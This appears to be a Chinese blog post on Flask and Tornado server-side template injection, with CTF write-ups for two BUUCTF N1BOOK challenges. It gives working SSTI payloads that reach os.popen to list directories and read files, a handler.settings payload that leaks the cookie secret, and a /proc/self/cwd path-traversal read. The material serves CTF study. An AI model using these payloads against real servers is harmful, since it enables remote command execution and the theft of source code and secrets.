服务器模板注入 (SSTI)

2024-01-01 06:08
文章标签 模板 服务器 注入 ssti

本文主要是介绍服务器模板注入 (SSTI),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

服务器模板注入 (SSTI)

基本注入流程

''.__class__		显示这个东西的类
''.__class__.base__		找到这个的基类
''.__class__.__base__.__subclasses__()		看基类的子类

敏感子类
popen、sys、os

因为''.__class__.__base__.__subclasses__()返回的是一个列表,
所以直接''.__class__.__base__.__subclasses__()[425]查看的就是popen这个

注意:这里的425要根据''.__class__.__base__.__subclasses__()实际返回的数组,观察Popen的位置来决定

到了这里就可以使用某些子类来进行操作了,下面使用[177]这个子类<class 'warnings.catch_warnings'>进行操作

比如说查看目录

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls").read()')

进一步查看目录下的文件,这里查看的是test目录下的文件

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls /test").read()')

然后读取需要的文件,这里是读取test目录下的flag.py文件

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /test/flag.py").read()')

绕过限制

参考:https://www.cnblogs.com/zaqzzz/p/10263396.html

通过模板注入获取tornado中的cookie

利用handler.settings对象
因此构造{{handler.settings}}

handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
原文链接:https://blog.csdn.net/zz_Caleb/article/details/101473013/

参考来自:https://www.e-learn.cn/topic/3340461



题目

SSTI

这是一道来源于BUUCTF的N1BOOK的题目,[第三章 web进阶]SSTI

?password={{7*7}}

观察回显发现是flask模板注入

?password={{''.__class__.__base__.__subclasses__()}}

看看有什么子类可以利用

?password={{''.__class__.base__.__subclasses__()}}

发现[177]这个子类是<class 'warnings.catch_warnings'>

利用它查看目录

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls").read()')

进一步查看app目录下的文件

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls /app").read()')

然后读取server.py文件

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /app/server.py").read()')

题目有多种解法
参考来自:
https://blog.csdn.net/CyhDl666/article/details/115004845
https://blog.csdn.net/qq_51558360/article/details/114493766

afr_3

这是一道来源于BUUCTF的N1BOOK的题目,[第一章 web入门]afr_3

开头是文件包含,经过一系列操作,
根据../../../../../proc/self/cmdline得出的信息可以知道,当前正在运行 pythonserver.py

在这里时需要想到,应该利用python的flask进行模板ssti注入,从而读取flag

根据/proc/的特性,可以读取正在运行的pythonserver.py的源码
?name=../../../../../proc/self/cwd/server.py

原理是使用proc指定self代表当前进程,然后cwd指向运行的文件pythonserver.py

得到的信息里面有flag.py,但是直接访问显示权限不够
访问另一个的文件key.py得到

#!/usr/bin/python 
key = 'Drmhze6EPcv0fN_81Bj-nA'

后面待续

参考来自:
https://www.cnblogs.com/murkuo/p/14905749.html

这篇关于服务器模板注入 (SSTI)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/558353

相关文章

mysql中的服务器架构详解

《mysql中的服务器架构详解》:本文主要介绍mysql中的服务器架构,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1、背景2、mysql服务器架构解释3、总结1、背景简单理解一下mysqphpl的服务器架构。2、mysjsql服务器架构解释mysql的架

Linux如何快速检查服务器的硬件配置和性能指标

《Linux如何快速检查服务器的硬件配置和性能指标》在运维和开发工作中,我们经常需要快速检查Linux服务器的硬件配置和性能指标,本文将以CentOS为例,介绍如何通过命令行快速获取这些关键信息,... 目录引言一、查询CPU核心数编程(几C?)1. 使用 nproc(最简单)2. 使用 lscpu(详细信

MySQL MCP 服务器安装配置最佳实践

《MySQLMCP服务器安装配置最佳实践》本文介绍MySQLMCP服务器的安装配置方法,本文结合实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下... 目录mysql MCP 服务器安装配置指南简介功能特点安装方法数据库配置使用MCP Inspector进行调试开发指

在Windows上使用qemu安装ubuntu24.04服务器的详细指南

《在Windows上使用qemu安装ubuntu24.04服务器的详细指南》本文介绍了在Windows上使用QEMU安装Ubuntu24.04的全流程:安装QEMU、准备ISO镜像、创建虚拟磁盘、配置... 目录1. 安装QEMU环境2. 准备Ubuntu 24.04镜像3. 启动QEMU安装Ubuntu4

Windows Server 2025 搭建NPS-Radius服务器的步骤

《WindowsServer2025搭建NPS-Radius服务器的步骤》本文主要介绍了通过微软的NPS角色实现一个Radius服务器,身份验证和证书使用微软ADCS、ADDS,具有一定的参考价... 目录简介示意图什么是 802.1X?核心作用802.1X的组成角色工作流程简述802.1X常见应用802.

使用Nginx配置文件服务器方式

《使用Nginx配置文件服务器方式》:本文主要介绍使用Nginx配置文件服务器方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1. 为什么选择 Nginx 作为文件服务器?2. 环境准备3. 配置 Nginx 文件服务器4. 将文件放入服务器目录5. 启动 N

Java如何根据word模板导出数据

《Java如何根据word模板导出数据》这篇文章主要为大家详细介绍了Java如何实现根据word模板导出数据,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... pom.XML文件导入依赖 <dependency> <groupId>cn.afterturn</groupId>

Python中Flask模板的使用与高级技巧详解

《Python中Flask模板的使用与高级技巧详解》在Web开发中,直接将HTML代码写在Python文件中会导致诸多问题,Flask内置了Jinja2模板引擎,完美解决了这些问题,下面我们就来看看F... 目录一、模板渲染基础1.1 为什么需要模板引擎1.2 第一个模板渲染示例1.3 模板渲染原理二、模板

利用Python打造一个Excel记账模板

《利用Python打造一个Excel记账模板》这篇文章主要为大家详细介绍了如何使用Python打造一个超实用的Excel记账模板,可以帮助大家高效管理财务,迈向财富自由之路,感兴趣的小伙伴快跟随小编一... 目录设置预算百分比超支标红预警记账模板功能介绍基础记账预算管理可视化分析摸鱼时间理财法碎片时间利用财

如何在 Spring Boot 中实现 FreeMarker 模板

《如何在SpringBoot中实现FreeMarker模板》FreeMarker是一种功能强大、轻量级的模板引擎,用于在Java应用中生成动态文本输出(如HTML、XML、邮件内容等),本文... 目录什么是 FreeMarker 模板?在 Spring Boot 中实现 FreeMarker 模板1. 环